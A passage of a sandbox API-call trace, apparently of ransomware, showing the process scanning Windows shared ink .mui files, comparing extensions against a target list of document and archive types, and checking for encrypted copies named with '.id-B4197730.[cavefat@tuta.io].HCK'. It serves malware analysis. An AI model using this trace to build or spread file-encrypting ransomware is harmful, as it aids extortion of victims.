(lpString=".zip") returned 4 [0165.430] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.431] lstrlenW (lpString=".rar") returned 4 [0165.431] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.431] lstrlenW (lpString=".bz2") returned 4 [0165.431] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.431] lstrlenW (lpString=".7z") returned 3 [0165.431] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.431] lstrlenW (lpString=".dbf") returned 4 [0165.431] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.431] lstrlenW (lpString=".1cd") returned 4 [0165.431] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.431] lstrlenW (lpString=".jpg") returned 4 [0165.431] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.431] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.431] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0165.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.450] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23040) returned 1 [0165.450] CloseHandle (hObject=0x308) returned 1 [0165.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0165.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.450] lstrlenW (lpString=".doc") returned 4 [0165.450] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.450] lstrlenW (lpString=".docx") returned 5 [0165.450] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.450] lstrlenW (lpString=".pdf") returned 4 [0165.450] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.450] lstrlenW (lpString=".xls") returned 4 [0165.450] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.450] lstrlenW (lpString=".xlsx") returned 5 [0165.450] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.450] lstrlenW (lpString=".ppt") returned 4 [0165.450] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".zip") returned 4 [0165.451] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".rar") returned 4 [0165.451] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".bz2") returned 4 [0165.451] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.451] lstrlenW (lpString=".7z") returned 3 [0165.451] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".dbf") returned 4 [0165.451] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".1cd") returned 4 [0165.451] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".jpg") returned 4 [0165.451] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".doc") returned 4 [0165.451] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.451] lstrlenW (lpString=".docx") returned 5 [0165.451] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.451] lstrlenW (lpString=".pdf") returned 4 [0165.451] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".xls") returned 4 [0165.451] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".xlsx") returned 5 [0165.451] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.451] lstrlenW (lpString=".ppt") returned 4 [0165.451] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.451] lstrlenW (lpString=".zip") returned 4 [0165.451] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".rar") returned 4 [0165.451] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.451] lstrlenW (lpString=".bz2") returned 4 [0165.451] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.452] lstrlenW (lpString=".7z") returned 3 [0165.452] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.452] lstrlenW (lpString=".dbf") returned 4 [0165.452] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.452] lstrlenW (lpString=".1cd") returned 4 [0165.452] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0165.452] lstrlenW (lpString=".jpg") returned 4 [0165.452] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.452] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.452] lstrlenW (lpString="micaut.dll.mui") returned 14 [0165.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.459] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9216) returned 1 [0165.459] CloseHandle (hObject=0x354) returned 1 [0165.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0165.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.464] lstrlenW (lpString=".doc") returned 4 [0165.464] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.464] lstrlenW (lpString=".docx") returned 5 [0165.464] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.464] lstrlenW (lpString=".pdf") returned 4 [0165.464] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.464] lstrlenW (lpString=".xls") returned 4 [0165.464] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.464] lstrlenW (lpString=".xlsx") returned 5 [0165.464] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.464] lstrlenW (lpString=".ppt") returned 4 [0165.464] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".zip") returned 4 [0165.465] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".rar") returned 4 [0165.465] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".bz2") returned 4 [0165.465] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString=".7z") returned 3 [0165.465] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".dbf") returned 4 [0165.465] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".1cd") returned 4 [0165.465] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".jpg") returned 4 [0165.465] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".doc") returned 4 [0165.465] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString=".docx") returned 5 [0165.465] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.465] lstrlenW (lpString=".pdf") returned 4 [0165.465] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".xls") returned 4 [0165.465] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".xlsx") returned 5 [0165.465] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.465] lstrlenW (lpString=".ppt") returned 4 [0165.465] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".zip") returned 4 [0165.465] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".rar") returned 4 [0165.465] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.465] lstrlenW (lpString=".bz2") returned 4 [0165.465] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString=".7z") returned 3 [0165.465] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.465] lstrlenW (lpString=".dbf") returned 4 [0165.465] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.466] lstrlenW (lpString=".1cd") returned 4 [0165.466] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0165.466] lstrlenW (lpString=".jpg") returned 4 [0165.466] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.466] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.466] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0165.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.488] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3072) returned 1 [0165.488] CloseHandle (hObject=0x390) returned 1 [0165.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0165.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.492] lstrlenW (lpString=".doc") returned 4 [0165.492] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.492] lstrlenW (lpString=".docx") returned 5 [0165.492] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.492] lstrlenW (lpString=".pdf") returned 4 [0165.492] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.492] lstrlenW (lpString=".xls") returned 4 [0165.492] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.492] lstrlenW (lpString=".xlsx") returned 5 [0165.492] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.492] lstrlenW (lpString=".ppt") returned 4 [0165.492] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".zip") returned 4 [0165.493] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".rar") returned 4 [0165.493] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".bz2") returned 4 [0165.493] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString=".7z") returned 3 [0165.493] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".dbf") returned 4 [0165.493] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".1cd") returned 4 [0165.493] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".jpg") returned 4 [0165.493] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".doc") returned 4 [0165.493] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString=".docx") returned 5 [0165.493] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.493] lstrlenW (lpString=".pdf") returned 4 [0165.493] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".xls") returned 4 [0165.493] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".xlsx") returned 5 [0165.493] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.493] lstrlenW (lpString=".ppt") returned 4 [0165.493] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".zip") returned 4 [0165.493] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".rar") returned 4 [0165.493] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.493] lstrlenW (lpString=".bz2") returned 4 [0165.493] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString=".7z") returned 3 [0165.493] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".dbf") returned 4 [0165.493] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".1cd") returned 4 [0165.493] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0165.493] lstrlenW (lpString=".jpg") returned 4 [0165.493] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.494] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.494] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.494] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10752) returned 1 [0165.494] CloseHandle (hObject=0x390) returned 1 [0165.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0165.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.494] lstrlenW (lpString=".doc") returned 4 [0165.494] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.494] lstrlenW (lpString=".docx") returned 5 [0165.494] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.494] lstrlenW (lpString=".pdf") returned 4 [0165.494] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.494] lstrlenW (lpString=".xls") returned 4 [0165.494] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.494] lstrlenW (lpString=".xlsx") returned 5 [0165.494] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.494] lstrlenW (lpString=".ppt") returned 4 [0165.494] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".zip") returned 4 [0165.495] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".rar") returned 4 [0165.495] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".bz2") returned 4 [0165.495] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString=".7z") returned 3 [0165.495] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".dbf") returned 4 [0165.495] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".1cd") returned 4 [0165.495] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".jpg") returned 4 [0165.495] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".doc") returned 4 [0165.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString=".docx") returned 5 [0165.495] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.495] lstrlenW (lpString=".pdf") returned 4 [0165.495] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".xls") returned 4 [0165.495] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".xlsx") returned 5 [0165.495] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.495] lstrlenW (lpString=".ppt") returned 4 [0165.495] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".zip") returned 4 [0165.495] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".rar") returned 4 [0165.495] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.495] lstrlenW (lpString=".bz2") returned 4 [0165.495] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString=".7z") returned 3 [0165.495] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".dbf") returned 4 [0165.495] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".1cd") returned 4 [0165.495] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0165.495] lstrlenW (lpString=".jpg") returned 4 [0165.495] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.496] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.496] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.496] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10752) returned 1 [0165.496] CloseHandle (hObject=0x390) returned 1 [0165.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0165.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 